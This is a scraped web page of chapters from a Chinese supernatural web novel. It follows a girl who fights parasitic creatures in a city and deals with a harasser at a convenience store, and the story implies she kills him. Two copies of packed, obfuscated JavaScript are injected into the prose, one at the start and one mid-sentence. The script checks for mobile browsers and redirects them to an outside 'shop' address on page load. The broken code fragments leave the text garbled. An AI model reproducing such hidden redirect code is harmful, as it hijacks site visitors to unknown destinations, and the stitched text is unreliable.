l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16645866|184859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 够,费了不少功夫才碰到书包的带子,用手指勾着往前一拽,书包就回到了她的怀里。 拉开拉链,拿出杀猪刀,她握着刀朝着那些抓着自己脚踝的手狠狠砍去,刀刃劈开海水后落到那些手臂上,却没有感受到丝毫阻碍,好像那些手和锁链都是幻觉,可脚腕被捏住的痛感很真实,不像是幻觉。 青于不停挣扎,艰难地在海水里扑腾着。 海水灌进鼻腔,顺着呼吸道一直往下,流进她的肺里,她无法呼吸了,耳朵开始嗡鸣,视线变得模糊,身上很重,她要被海水压扁了。 或许是缺氧导致的眩晕,又或是力竭导致的走神,她看着那些抓住自己脚腕的手,忽然觉得它们好像是自己身体的一部分,她的脚背上延伸出细密的血管,那些血管连接着好多只手,那些手抓住她,控制她,让她不得不妥协,不得不怯弱,不得不停在原地看着悲剧发生…… 我不是废物,我不是胆怯,我只是、我只是脚上长了很多手,那些手抓着我不让我去做,它们不让我选择。 所以、所以,我是无辜的,不怪我,不怪我! 可是! 可是我没有放弃过,我没有怯弱过,我没有驻足过!我始终在向前走,始终在跟着妈妈,即便你抓住我,你绑着我,我依旧要去救她。 我会踹开那道关着她的门,我会割断那根捆着她的绳子,我会劈开那座挡在她面前的山,我会用这把刀,砍碎一切带给她痛苦的枷锁。 青于咬着牙,手中的杀猪刀猛然翻转,朝着自己的脚腕用力砍去。 刀刃接触脚腕的瞬间,血雾在海水中弥漫开来,那些手抽搐着在她小腿上留下了无数抓痕,随着一声脆响,骨头断了,血液流进海水里,红和蓝有片刻的清晰分界,然后瞬间交融,疼痛瞬间侵占了她的神经,她却感到了前所未有的轻盈。 她浮在海面上,紧紧抱着自己的书包,望着看不到边际的海平面,疲惫地闭上了眼。 等到再睁眼时,她已经到了红星小区的出租屋里,邓兰兰换上了黄色的工作服,正坐在床上刷视频。 青于醒来的第一件事就是找自己的书包,书包就在旁边放着,里面的东西一样也没少。她伸手摸了摸自己的脚踝,没有伤口,也没有狰狞的血管和那些连在脚背上的手。 好奇怪。 青于揉了揉脸,让自己清醒一点,她看着邓兰兰的背影,突然问道:“兰兰,我们怎么回来的,我怎么睡着了?” 邓兰兰回头看了她一眼,没忍住翻了个白眼,随后脸色难看地数落道:“我们吃完饭在海滩上走了走消食,我包里装着野餐布和零食,打算在海边吹着风吃点零食,正好聊聊天,彼此了解了解。结果我刚把野餐布铺好,你立马就躺上去了,说了句‘好困’就睡着了,是我把你带回来的,打车花了我好几十,你发工资记得还给我。” 青于“嗯”了一声,很诚恳地保证道:“等我发工资了我一定还你。对了,我们在海滩上有聊天吗?我当时太困了,迷迷糊糊的,记不太清了。” 邓兰兰:“不算聊天吧,你问我世界上的海是不是都一样,我说我不知道。然后你就睡着了,怎么喊都喊不醒,要不是你还有呼吸,我都怀疑你死了。” 她说完伸了个懒腰,瞥了眼手机上的时间,对着青于说:“我要去上班了,你自己在家把门锁好,谁敲门都别开。我自己有钥匙,不会敲门的。” “好。” 折叠桌上有个小闹钟,青于看了一眼,现在是下午五点五十分。 窗外的天色依旧亮着,乱糟糟的电线支在她们窗前,一群鸟儿站在电线上跳来跳去。 正值饭点,楼下的小炒店传来浓郁的饭香,青于拿了个塑料凳子坐在窗子边,就着那香味啃馒头,这馒头是邓兰兰早上买的,虽然已经冷透了,但是嚼久了依旧能吃到甜味。 小闹钟慢慢走着,一步步走向青于接班的时间。 29.畸变都市(4) 青于睡了会儿,在十点半的时候被闹钟吵醒。 她懒洋洋地起床洗漱,刷牙的时候看见镜子上有好多水印子,就顺手拿起抹布开始打扫,擦镜子、擦洗漱台、擦水箱,最后把卫生间的地拖干净才出去。 卫生间的门合上,青于站在门口,她突然觉得有些不对劲。 刚才,垃圾桶是在那个位置吗?不是,自己起床的时候还把枕头上黏着的头发扔进去了,那时候垃圾桶距离自己的床边只有一臂的距离,现在却到了门口的位置。 还有邓兰兰的床,被子的形状也发生了改变。 她刚才上厕所的时候瞥了一眼,看到邓兰兰枕头上的深色水印还在,还疑惑为什么这么热的天气那片眼泪现在还没干。可是现在,被子往上移了很多,已经把枕头全部遮住了。 怎么回事?是有人闯进来了吗? 房间很小,能藏人的地方不多,青于拿起手边的塑料扫把,朝着那些可以藏人的角落里去。 床底下,没有。沙发后面,没有。窗帘后面,没有。被子里,没有。 青于松了口气,走到门口想把垃圾桶拿回来,却发现那装着垃圾的塑料袋里有窸窸窣窣的动静。她用扫把拨开上层的垃圾,看见了几个纸团,纸张上带着红色横线,是邓兰兰经常用的那个本子。 她用扫把拨弄着,想把那几个纸团蹭开,看看里面写了什么。 一个纸团在扫把的攻势下微微散开,露出里面被涂黑的字迹和乱七八糟的,无意义的线条。那些线条从纸张上往外延伸,然后脱离了纸张变成红色的血管,那根由黑转红的血管又分裂出好几条细细的毛细血管,紧紧贴在纸张上,像无数触手将那张纸收拢着,不让其展开。 在这些血管的最中间有一颗黄豆大小肉粒正在跳动,像是一颗小小的心脏。 一个纸团长出了血管和心脏。 青于觉得自己可能是疯了,她闭眼两秒后再次睁开,血管还在,黄豆大小的心脏也还在。 她从抽屉里拿了双一次性筷子,夹着那个纸团扔进任务给的收纳盒。 【当前畸变物过于低级,无法收纳】 收纳盒把纸团吐了出来,纸团落到地上滚了一圈,那些血管慢慢收紧,纸团也越来越紧。像蚌壳,血管就是蚌肉,外表皱巴巴的纸团就是壳。 不能收纳,那这些畸变物要怎么处理?用火烧吗? 她用打火机点燃了纸张,在火焰的攻势下,纸张被焚烧殆尽,只留下一点灰烬。而且在那一小堆灰烬里,没有那些血管的痕迹。 青于将垃圾桶里的纸团全部烧了,然后走到邓兰兰的床边掀开她的被子,枕头上那片深色的眼泪痕迹也发生了变化,长出了细细的墨绿色嫩芽,像冬日里用黄豆发出来的豆芽一样,不过这些嫩芽上长着白色的绒毛。 她用水果刀切下那片嫩芽,用一次性筷子夹着扔进收纳盒里。 【当前畸变物过于低级,无法收纳】 还是用不了。 青于把那些嫩芽包在纸巾里烧毁,她已经可以确定了,自己突然可以看到畸变物了。 那些纸团不是今天才出现的,枕头上的眼泪前几天也会有,为什么偏偏今天看见了呢? 今天和前几天唯一的区别就是,早上她偷偷看了邓兰兰的笔记本,然后开始同情她,觉得她有点可怜,想要让她如愿,接着,她们在下午的时候去了海边,自己被奇怪的东西缠住差点死在海里。 不过……青于不太确定,好像有点不对劲。 那本笔记,她到底是哪天看的? 如果是今天的话,她是什么时候看的?看笔记的记忆是零零散散的碎片,那些碎片里只有笔记本上的内容,除此之外什么都没有。 可她今天的记忆是完整的。 八点十五分到家,把从便利店带回来的关东煮吃了,然后洗头洗澡,就九点了。那时候邓兰兰还没醒,她晚上失眠很严重,所以早上这段时间会睡得很死。 之后她躺在沙发床上开始补交,一觉醒来就十一点多了,正好听见邓兰兰的手机响了一声,是工资到账的声音。 所以,在她今天的记忆里,没有看邓兰兰笔记本的记忆。 那看笔记是发生在什么时候的事? 而且青于是个共情能力很差的人,她继承了生父低劣的基因,自大、专横、孤僻、冷漠,别人在讲述痛苦的时候,她往往会走神,想起自己的曾经和遗憾,然后对别人的痛苦嗤之以鼻,觉得那根本不算什么,和自己的经历比起来差远了。她甚至还会想,如果是我,一定不会那么凄惨。 这样的高高在上,这样的不屑一顾,她怎么会突然可怜一个才认识了几天的人。 不对劲,从她产生同情心的那一刻起,就不对了。 任务要求里有不被寄生,所以,出现这些变化的原因是她被寄生了。 畸变物的源头并不难猜,是邓兰兰。 因为被寄生,所以才会陷入海里险些淹死。 青于想到了五金店老板说的话,一个人穿着黑衣服趴在路边,看见有车辆过来后就爬过去,然后被轧死了。老板说,当时看着那个人不对劲,像是被什么东西拽过去的一样。 这么一来就对上了,如果那个人挣脱了束缚,就会出现另一种结果,他在路边睡着了,安然无恙的。可他没能挣脱束缚,所以他死了。 我挣脱了束缚,所以我只是睡着后被邓兰兰带回了出租屋。 我如果没挣脱,就会变成我自己走进海里,然后被看不见的东西往海里拽,最后淹死。 很难防备,因为不知道会在什么时候被寄生。 还是尽快收集畸变物然后离开吧,这种无声无息的寄生太恐怖了。 晚上十一点三十,青于换上工作服出门,去小区对面的便利店接班。 小区门口坐着一个人,穿着一身黑西装,酒气熏天,身上有被呕吐物弄脏的痕迹。 他背靠着花坛,整个人无力地瘫坐在地上,微微颤抖的手拿着手机,亮着的手机屏幕显示出“正在通话”的界面。 西装男好几次想爬起来都失败了,最后只能保持那个姿势坐在地上,青于看见他身上连着很多黑线。就像是他的黑色西裤化了粘在地面一样,每次他起身时都会拉扯出数不清的黑线,那些黑线缠在他身上,一圈一圈将他包裹。 青于找了个角落藏起来,手里拿着刀和收纳盒。 这黑线模样的畸变物数量很多,密密麻麻地挤在一起像一根黑色的柱子,一看就是高级畸变物。 “我说了我在工作!我上班的时候没办法随时随地接你的电话,我是个成年人了,我有自己的生活,你让我安静一天好不好?” “你生病了就去医院啊,给我打电话有什么用?我治不了你,我也没办法请假回来,我只能一遍遍地告诉你要去医院,要吃药,可你不会听,你永远不会听!你只会抱怨我不在家,只会说医院都在骗钱,医生都是骗子……” “你到底要我怎么办啊?我要工作的,明明你也会和亲戚炫耀我的工作,为什么还要每天都给我打电话?家里总是跳闸就找维修,生病了就去医院做个检查,没力气不想煮饭就和朋友约着去吃点想吃的……很多事情,你明明可以不找我的。” “马上十二点了,我才刚到家,晚饭只吃了半碗面和一碗汤,然后就一直在喝酒喝酒喝酒,我很难受,我难受得要死,比起工作,更让我难受的是你的电话,你今天给我打了好几个电话,我不知道挂了多少个,但我接了五个。” “你说你身体不舒服,你说你吃不下饭没胃口,你说你是不是快要死了,我让你去医院,你说乡下的医院都是骗人的,你想去大医院,我让你给叔叔打电话……但是你不打,明明他就在市里,你就是不给他打电话,你给我打电话……” 男人的声音变得哽咽,他捶了好几下地面,情绪崩溃地说:“你要干吗啊!你要我怎么办?你一边说让我别操心好好工作,一边不停地给我打电话,我跟你说什么你都拒绝,你都不听。我说了,我没办法请假,我请不了假,而且机票很贵,路程也很远,你先去医院做个检查,等检查结果出来我再看怎么办……你也不同意,你要干吗啊?你要逼死我吗?” 那边好像沉默了,男人一只手捏着手机贴在耳朵上,另一只手捂着脸开始无声地哭。 间隔了好几秒,那边的人好像说了什么。他突然扇了自己一个耳光,然后又是接二连三的耳光打在脸上,在寂静的小区里发出“啪啪啪”的响声。 “我是一个由骨头和血肉组成的人,我是一个活生生的人!我不只是你的期待和依靠,我偶尔也得成为自己的依靠。爷爷,你让我歇两天好不好,你让我安静两天,我真的已经喘不过气了。” 他擦完眼泪看了一眼花坛的对面,那里是一家小吃店,营业时间到晚上十一点,招牌菜是海鲜炒饭,现在已经关门了,门口的招牌没压好,被风吹倒了,画风卡通的海鲜炒饭倾斜着,红色的虾看着他,蓝色的章鱼也看着他。 它们在凝视一个人类的不得已,在审视一个成年人的无助。 原本,他是想吃一碗海鲜炒饭的,为了赶在关门前到家,他下了地铁后奢侈地打了车,进小区的时候才十点五十五分,五分钟的时间足够他打包一份炒饭带走,回家后看着那个一直没来得及看的综艺慢慢吃。 他想,先回家吃饭,然后换下脏衣服洗个澡,缓一缓神,最后给爷爷打电话聊他生病的事情。他会好好劝他去医院,像以往的每一次一样,先联系在市医院工作的同学,问问他做检查要挂什么科,大概需要多久,具体位置在几层楼,然后把这些事情全部跟爷爷说一遍,再给叔叔打电话让他带爷爷去。 最后,要给叔叔转钱,要编辑一条长长的信息肯定他的付出和孝心,再表达一下自己无法在爷爷身边尽孝的难堪。第二天午休的时候去买一些本地口碑好又昂贵的特产给同学寄过去,他会看着快递员精心打包那些他自己都舍不得吃的“奢侈品”,安慰自己总有一天能吃到的。 等这个项目结束了,就买一点来尝尝。 他这样安慰自己,和之前的每一次一样。 他是长孙,是父母离异后被爷爷养大的孩子,不成器的父亲下落不明,留在市里的叔叔工作繁忙,只有爷爷一个人在老家。 他不愿意去市里跟叔叔住,总说他们两口子工作忙,孩子又小,自己既没文化也不认路,去了就是给孩子添麻烦。留在村里挺好的,种点地自给自足,还能养点鸡,让儿子儿媳吃上自家的走地鸡。 村里人都说他这个老人懂事,从不给小辈添麻烦。 他是个好父亲,也是个好爷爷。 那我呢?我是个恶人吗? 我只是想多挣点钱,所以起早贪黑地经营工作,世故圆滑地奉承上司,长袖善舞的混迹饭局,一杯杯酒往喉咙里灌,火辣辣的,臭气熏天的,我忍下来了,因为我要挣钱。 青春期永远不合身的衣服,总是晚交的资料费,破了洞的校服,坏了后从没管过的牙齿,骨折后长歪的脚踝……我有太多要挣钱的理由,所以我不会离开这座城市,我不会回到老家,拿着微薄的工资照顾老人。 在穷人的家庭里,团圆向来只是一个愿望,他们不会为了团圆放弃钱。 花坛里种着几棵小树苗,是前两天才移栽过来的,底部的土是新翻的,细瘦的树干上涂着白色防护层,移栽的那两天动静很大,是先把旧的树挖走再移过来的,他出门上班的时候听小区里晨练的老人抱怨过太吵,但那样的吵闹他一次都没有见过,一声也没有听见。 他步履匆匆,闲暇时回头一看,已经移栽完成了。 他说:“我不想当人了,想当一棵树。” 男人身上缠绕的黑线越来越多,将他的身体裹成一个黑色的茧,黑线顺着脖子往上蔓延,缠在他脸上,紧紧勒住了眼睛和鼻子,只留出一道窄窄的缝儿让嘴巴可以活动。 他还在继续那通电话,还在继续抱怨,继续哀求,无助地向亲人求饶,试图让他们放下手中的铡刀,换得一刻的喘息和安静。 那些哀求和抱怨是他的求救,在这个冷清的黑夜,在这个破败的小区,他在向将他养育成人的亲人求饶,求他们松松手里的绳子,不要这么潦草地勒死他,求他们放下手中的刀刃,不要以关怀的名义快速逼近,用利刃捅穿他强撑出来的体面。 “砰” 电话掉到地上,男人已经失去了握紧手机的能力,他被黑线完全裹住,彻底成了一个茧。那个茧开始融化,变成胶质的液体往井盖的方向缓慢流动。 青于堵在前面,刀刃落下,切下巴掌大的一块黑色胶质物。 黏糊糊软塌塌滑溜溜,用刀尖挑起来会往下流,但是流动的速度很慢,几秒过后就凝固了,变成了橡皮泥一样的质感,柔软会变形,但是不黏糊也不滑溜了。 地上的胶质物还在往井盖的方向流动,青于看了看刀尖上那团逐渐干硬的“橡皮泥”,她好像明白了,切下来的就是尸体,所以,她得到了一部分畸变物的尸体。 将“橡皮泥”塞进收纳盒里,又跳出了提示框。 【当前畸变物已死亡,无法收纳】 所以,还是得装那些滑溜溜黏糊糊的恶心东西进去,不然就不算。 青于看了一眼,在地上的那些已经是完全的胶质物了,但是男人身上裹着的还有一部分是丝线,细如蛛丝的黑色丝线缠着他,越勒越紧。 这畸变物一出现就是黑色丝线的模样,所以黑色丝线可能是活性最高的阶段。 她连忙用刀将还没融化的部分割下,然后塞进收纳盒里。 【当前畸变物已收纳】 割的位置是面部,露出了男人的眼睛,他倏然睁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16650680|184859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开眼,整个人挣扎了一下,发现自己动不了后就瞪大了眼睛盯着青于,嘴里发出“呜呜呜”的声音。 青于在他眼中看到了求救的信号,顺手用刀将缠在他身上的畸变物割开一道口子。 男人用力地挣扎着,手脚乱蹬,从那道窄窄的口子里挤了出来,随后,那些黑色的胶质物又变成了细线,悉数钻回他的身体里。现场没有留下任何痕迹,男人的皮肤完好无损,上面没有被勒过的痕迹。 男人迷迷糊糊地站起来,身影有些摇晃地往前走,神情恍惚地说了句“谢谢”。 青于想确定一下他的意识,是不是还是本人,就问道:“你怎么倒在这里?你是小区的住户吗?” 男人停下了,他站在原地思考了一会儿,慢吞吞地说:“对,我住在三号楼501,我是这里的住户。我今晚有应酬,喝多了,路过这里的时候被什么东西绊倒了,好像摔了一跤……不好意思,我记不清了,应该是摔了一跤,然后就因为酒醉失去了意识。谢谢你叫醒我,我明天还要上班,先回去了。” “唉,你手机没拿。”青于盯着他的表情,用脚轻轻踢了一下地上的手机。 男人蹲下,僵持了很久才伸手去拿手机,拿到后他长长地叹了一口气。 随后手机响了,他吓得浑身抖了一下,几秒过后,他脸色煞白地接通了电话,说话的声音无比清醒:“喂,李哥……” “我已经到家了,你放心吧。好,我记得的,明早我会带着材料去一趟,再跟他们对一遍……好,我会提前到会议室准备的……谢谢李哥提醒,今天多亏了你,改天我请你和嫂子吃饭……” 电话挂断,他站起来,慢吞吞地拖着脚步往前走。那道背影有些佝偻,每一步都像是踩在沼泽里,不过他是个疲惫的醉汉,这样的模样也正常。 青于奇怪地盯着他的背影,那些畸变物全部消失了。 这是不是意味着,其实每个人都是畸变物的母体,体内都藏有畸变物,只是那些畸变物被压制着没法儿冒头,或者是就算偶尔冒头也产生不了太大的影响,当母体的情绪崩溃或者心存死志的时候,畸变物就会变得强势,开始寄生,不过这种寄生是可逆的。 青于觉得这种猜测是合理的,不过畸变物突然变强势的因素可能不太准确,或许还有别的原因。 她抬脚往便利店走去,却发现自己的脚步很沉重。 低下头一看,自己脚底也出现了一些黑色细线,像黏黏糊糊的强力胶水一样,被拉的长长的,但就是不断,黑线缓慢地蠕动着,试图缠绕她的脚踝,随之而来的是一种冰冷滑腻的触感。 行走变得异常艰难,好像踩进了厚厚的,拉扯不断的沥青里。 她立刻蹲下,毫不犹豫地用刀将脚底粘连的部分割断。刀刃划过,黑线断成两半,黏在脚底的那部分钻进身体里消失了,地上的那部分却迅速钻进下水道里逃走了。 青于皱着眉脱下鞋查看鞋底,什么也没有,脚腕上也什么都没有。 真烦,这些鬼东西怎么都往她脚上爬,个个都想缠她脚踝。 不过,她又得到了一个信息,畸变物会传染。 在海滩时,邓兰兰传染了她,现在,这个男人也传染了她,不过他们传染的程度不一样。 为什么呢? 是因为情绪吗? 在海滩时,她听见邓兰兰说的那些话就开始不安恐怖,整个人被带到了痛苦的记忆里,那些话每一句都像是在说自己,所以她害怕,她想逃避。 而这次,她听着男人的话却没什么情绪,那些言论没有挑动她的情绪。在她的想法里,不想管就不要管,觉得烦就让他们滚开,谁管你是谁的爹谁的爷。 因为她不在意,所以传染的程度很低。 畸变物的传染靠情绪,畸变物的寄生也靠情绪。 弄明白这个,就能警惕防护了。她本来就是没什么情绪的人,共情能力差第一次成为优势。 不过,好像不能说得那么绝对,毕竟她已经在海滩跌过一次跟头了。 还是要谨慎些。 青于推开便利店的玻璃门时,门上的风铃发出清脆的叮当声,吵醒了寂静的黑夜,也吵醒了趴在收银台睡觉的邓兰兰。 店门上那个会说“欢迎光临”的感应系统昨天就坏了,为了提醒上班打瞌睡的自己,邓兰兰从家里拿了个风铃过来挂在门上,不然客人推门进来动静太小,有时候睡着了听不见,所以丢东西。 关东煮的香气扑面而来,青于耸着鼻子嗅了嗅,咽了口唾沫。 邓兰兰笑话她,“天天吃,你还没吃腻啊。都不是什么好东西,一堆冷冻丸子和预制菜,连着吃了这么几天,也该腻了吧。” 青于笑了一下,“不会腻,能吃饱就行。” 邓兰兰对着她比了个大拇指,然后径直走向冷藏柜拿了两瓶冰饮料,又挑了两个临期的三角饭团和三明治。 “给你,我上班的时候提前冰好的饮料,还有五天过期,可劲儿喝吧。”她伸手指了一下货柜,交代道:“这些都是还有半个月过期的,你明早下班的时候把门口的临期柜清出来,把这些放上去。临期柜里的东西都可以拿走,但是你要先跟方姐说一声,让她先挑。” 青于喝了一口饮料,点了点头。 其实这个副本挺好的,她在这里吃到了很多从没吃过的东西,还学会了用电脑和平板。邓兰兰上班的时候耐心很好,会教她很多东西,方姐也不错,只要问她她都会教。 店里的平板是用来点货的,这是个连锁便利店,有个专门的APP可以查看货物库存和每个门店的营业额。如果店里库存不够了,可以联系别的门店去调一些过来。 因为青于没有手机,所以邓兰兰在平板上给她下了两个软件,一个可以看电视,一个可以刷视频。 方姐看见后只叮嘱了一句“别打游戏”,之后就没再说过什么。 青于很喜欢上夜班,她可以做很多事,学习、刷视频、看电视、吃关东煮和临期食物,每一样都让她很开心。 而且青于的夜班很安静,很少会有客人过来,就算来都是买完东西就走,不会有醉汉来闹事。邓兰兰跟她说过的恶劣事件一次也没发生过,连方姐都觉得她运气好。 这个门店开在老城区,还是老城区唯一一家24小时营业的店,周围又都是些酒吧和烧烤摊,所以经常有闹事的人,都是醉鬼或者男人,看见一个女生独自守店就忍不住进来闹一闹。 之前在这儿上夜班的小严是个暴脾气,每次有人闹事她都会动手,结果进了好几次警局,店长一直去捞人,最后扣了她一个月的工资,她就消失了。 也不知道是出事了,还是单纯不想在这儿干了。 青于刚把电视剧放上,门口的风铃就响了。 她才接班十分钟就来客人了,感觉今天夜里好像不会太安静。 30.畸变都市(5) 来人是个男性,体型中等,略微有些秃顶,身上穿着一件黑色夹克,腹部高高拱起,外套下半截拉链暴露在光源下,金属拉链反着光,有些刺眼。 他手腕上戴着一串浅褐色的佛珠,和一块价值不菲的名表,肥厚白腻的手掌像两团被特意切割出来展示的猪板油,潮乎乎油腻腻地撑在柜台上,在黄色的台面上留下一圈手掌的印子。 浑身酒气,脸颊酡红,他站不稳,只能歪着身子靠在柜台上,上身前倾,拉近了和青于之间的距离。青于坐在电脑前,那带着酒气的粗重呼吸喷在她头顶,将头顶不长不短的碎发吹得倒下又立起,不断重复。 浓郁的酒气混合着烟味冲进青于的鼻腔,她皱着眉往后退了一些,椅子的滑轮咕噜噜,在地面上留下一串不大不小的声响,头顶的碎发远离了令人作呕的呼吸,不再倒下又立起。 男人眯着眼睛,因为她后退的动作扯着面皮笑了一下,随后整个身体都压在柜台上,像一根竹竿子串着一挂泛着油光的肥肉,他腹部的肥肉流到台面上,脸上的肥肉支在头骨上。 青于脸色难看地问:“要买什么?” 男人上下打量着青于,试图看穿她那件橘黄色的工作制服,用散发着恶意与恶臭的目光撕碎她的制服,舔舐她的躯体。 她的目光停在青于的胸部,她平坦的胸部。 看了一会儿,又看向她的脖颈,细瘦的脖颈,黄色的皮肤,有着风吹日晒劳作的痕迹,也有深山农村里独有的,未被社会规训,未被信息浸染的野性和旺盛的,宛如野草山石般坚韧强大的生命力。 粗糙的皮肤,隐于黄皮肤中的雀斑,黑亮的头发,杂乱浓密的眉毛,明亮的眼睛……是遍布碎石的贫瘠土地里长出的庄稼苗儿,也是扎根在钢筋水泥里的一株野草,那么鲜活,那么浓郁,香醇的,清甜的,诱人的。 男人吞了口唾沫,他身上开始热了,后背开始流汗,将皮肤和衬衫黏在一起,好像他又多了一层皮,身体有了变化,是性,是欲,是暴力,是破坏。 占有、撕碎、揉烂…… 让鲜嫩的庄稼苗儿成为自己的食物,在口中嚼烂,混合着唾液一起滑落食道,进入胃部,用胃酸灼烧她!让坚韧的野草臣服为艳俗的绿植,在脚底踩碎,用脚尖不断研磨,让她混合着泥土变成一团破烂的绿色液体。 我要,毁了她。 毁了如此鲜活的她,毁了如此稚嫩的她。 “小美女,单身吗?”他说话了,他的声音和他的人一样是流淌着油脂的,是潮乎乎的,是油腻腻的。 青于翻了个白眼,不耐烦地咂了下嘴,发出一声“啧”,她沉着脸,眼神很凶地看着那个男人,不轻不重地敲着桌子,再次问道:“你要什么?” “想要你。” 青于皱着脸,胃里有东西在翻腾,恶心。 那浓郁的酒气熏着他,她好像也有些醉了,精神开始涣散,理智慢慢褪色,柜台下放着她的书包,书包里凸出来的是刀柄,那刀柄抵着她的小腿骨,存在十分明显地叫嚣着,拿着我,杀了他。 肥硕、油腻、兽性。这是一头猪,一头野猪。 青于咬了咬舌尖,慢慢冷静下来。头顶就是摄像头,这店里有好几个监控,不能,不能在这里杀人。 “呵呵,”男人笑了,他伸手指着烤肠机,“要一根烤肠。” 烤肠机上的烤肠是青于上班的时候才补的,还没熟透,需要等一会儿。 青于如实告诉他,然后就不说话了,划拉着平板刷短视频,她心烦气躁,每一个视频都被快速滑走,平均停留时间不足五秒,一个视频也没看进去。 这时,屏幕上出现了一个擦边男主播,昏暗的灯光下,男主播上半身裸露着,露出形状分明的腹肌,他跪在地上,随着动感的音乐做着带有性暗示的舞蹈动作。 青于嫌弃地滑走,就听上方传来一道声音:“小美女,我看你天天都在这里上夜班,你是单身吧。看起来年纪也还小,怎么没读书了?家里穷还是叛逆不读了?” 他盯了很久,馋了很久。 青于按灭了平板放在桌上,手放到柜台下,摸到了自己书包里的杀猪刀,握在手心。 她反问:“我的事跟你有什么关系?你想干吗?” 男人嘿嘿笑,从口袋里掏出一沓钱拍在台面上,清了清嗓子,去掉了嗓子里黏糊糊的痰音。他把那沓钱推向青于,费力地弯下腰,凑近青于小声说:“你在这里上班挣不到钱,辛辛苦苦上夜班,还是只能住在简陋落后的老城区,一年到头攒不了多少钱,买不起化妆品也买不起新衣服,要过一辈子的穷日子。跟我谈恋爱,我每个月给你三万,你只管花钱就行,别的什么都不用做。” “我让你住在市中心,带你去高端场所消费,给你买化妆品买名牌包,你还可以创个账号当网红,我出钱捧你,把你捧成顶流,到时候你一天赚好几万,随时可以离开我,怎么着也比现在轻松舒服……” 话还没说完,一根装好的烤肠怼在他面前,青于不想跟他接触,就将装烤肠的袋子放在他面前,冷着脸不耐烦地说:“扫码给钱,多谢惠顾,客人慢走。” 男人扫了烤肠的钱,继续蛊惑青于,“你不寂寞吗?你没有欲望吗?你不想试试男人的滋味吗?你那么漂亮,那么年轻,你的人生才刚刚开始,不应该烂在这间小小的便利店。我喜欢你,我想跟你谈恋爱,我很有钱,你花我的钱可以一辈子不工作。” “我真的喜欢你,从你出现在老城区的第一天我就注意到你了。我第一次这么喜欢一个人,你给我个机会吧妹妹,我会对你好的,我给你钱,给你爱,你想要什么我都给你……” 青于懒得搭理他,店里有监控,她不能贸然杀人,所以等着男人自讨没趣后离开。 可是,男人没有离开。 他站在柜台前,双眼紧紧盯着青于,开始舔舐那根烤肠,一边舔一边发出令人头皮发麻的喘息声,舔完之后又开始嘬,将烤肠嘬的滋滋作响,油光水亮。 他喘息着说:“我不为难你,你拿一根烤肠出来舔一舔,这一万块钱就归你了。” 青于很重地闭了一下眼睛,然后背着书包站起来说:“走,去外面说,这里有监控,不方便说话。” 男人笑了一声,嚼着那根烤肠往外走,青于跟在他身后出了便利店,离开的时候顺便锁了门。店内的监控闪着红光,将这一幕如实记录。 便利店出门右转五十米处有个垃圾处理区,搭了个小棚子,下面放着几只不同颜色的大垃圾桶,每个垃圾桶都有人那么高,上面画着青于看不懂的标记,邓兰兰说那是垃圾分类,但是老城区管得不严,没人遵守,都是乱扔。 那些垃圾桶的盖子总是盖着的。 二十分钟后,青于独自返回便利店,她出了一些汗,身上的衣服和头发都有点乱,背上的书包半开着,拉链头不见了没法合拢,不过,劣质的监控画面很模糊,看不清那背包里装了些什么。 柜台上还遗留着那一沓钱,青于抽了两张卫生纸将其裹着装进书包里,又用酒精喷洒男人接触过的地方,仔细地擦了两遍后才罢休,转身去了卫生间洗手洗脸,重新扎头发。 随后,她坐在位置上,点开平板,播放一个学汉字的动画合集。方格本子打开,手中握着笔尖圆顿的铅笔,在动画片的指引下写下一个又一个汉字,还小小地标注了拼音。 后面又陆陆续续来了几个客人,买关东煮的,买泡面的,买解酒片的。 03:35,动画合集播完了,她坐在柜台前安安静静地复习,将学会的字重新写一遍。 便利店的门响了,一个青年走了进来。 他瘦弱又高挑,皮肤透露出一种不见天日的白,眼下有浓重的青黑,嘴唇微微发紫,穿着一身所谓的名牌,背着一个邓兰兰口中的奢侈品包,好像要十几万。这位熟客像一根没用的竹竿,在自己身上挂满了光鲜亮丽的衣裳和饰品,偏偏忘了挂一些红肉,一些面皮。 他是老城区一家酒吧的老板,姓温,经常会过来买点零零散散的东西,和邓兰兰关系不错,帮她驱赶过喝醉酒后难缠的客人,所以邓兰兰对他印象不错。 青于瞥了他一眼,合上本子收在柜台下面,“欢迎光临,请问需要什么?” 温老板没说话,自己在店里逛了一圈,拿了一些东西来柜台结账,都是零食和饮料,还有几个避孕套,他困倦地打了个呵欠,有气没力地靠在柜台上,声音很小地说:“帮我泡个面,加点关公煮。” 青于起身泡面,温老板站在后面看着她的动作,一边看一边打呵欠。 结账的时候,他从那堆零食里挑了一包出来放在旁边的临期货柜上,不冷不热地说了句:“这个,快过期了。” 结账后,温老板走了。 青于走到临期货柜前,打算看看那包零食叫什么,知道名字了才好查库存,也好把货柜上的全部清出来放在临期这边,然后还要在系统里备注是特价商品,这样扫码之后才会出来特价。 她们虽然每周都会清点临期货品,但偶尔会有遗漏。如果卖出去的是近效期商品还好,顶多被客人数落几句,给他们换成效期长的之后再赔几句道歉就可以了,如果卖出去的是过期的,那就糟糕了,一旦被举报就要罚款,店里的所有人都要被扣工资。 那是一包薯片,黄色外包装,原味的。 看到名字后,青于就去货架上找,看看同类商品还有没有过期的。这种薯片卖得很好,所以摆了两排,温老板拿的是下层的,上面还有一层没动的。 她踮着脚从上层开始看,有效期还很长,不用清出来。 然后看下层,看了两包都是近效期的,她拿了个红色的塑料筐开始收那一排近效期的薯片,将所有薯片拿下来后,白色的铁质货柜上贴着一只眼睛。 也不算是一只眼睛,那只是一颗充满红血丝的眼球,上面缠绕着很多细细的红色血管,红色血管交缠着将那颗赤裸的眼球覆盖,像一层缥缈的红色雾气,像拔丝地瓜上拉出来的细细糖丝,那是一层禁锢的外壳,也是一层保护的外壳。 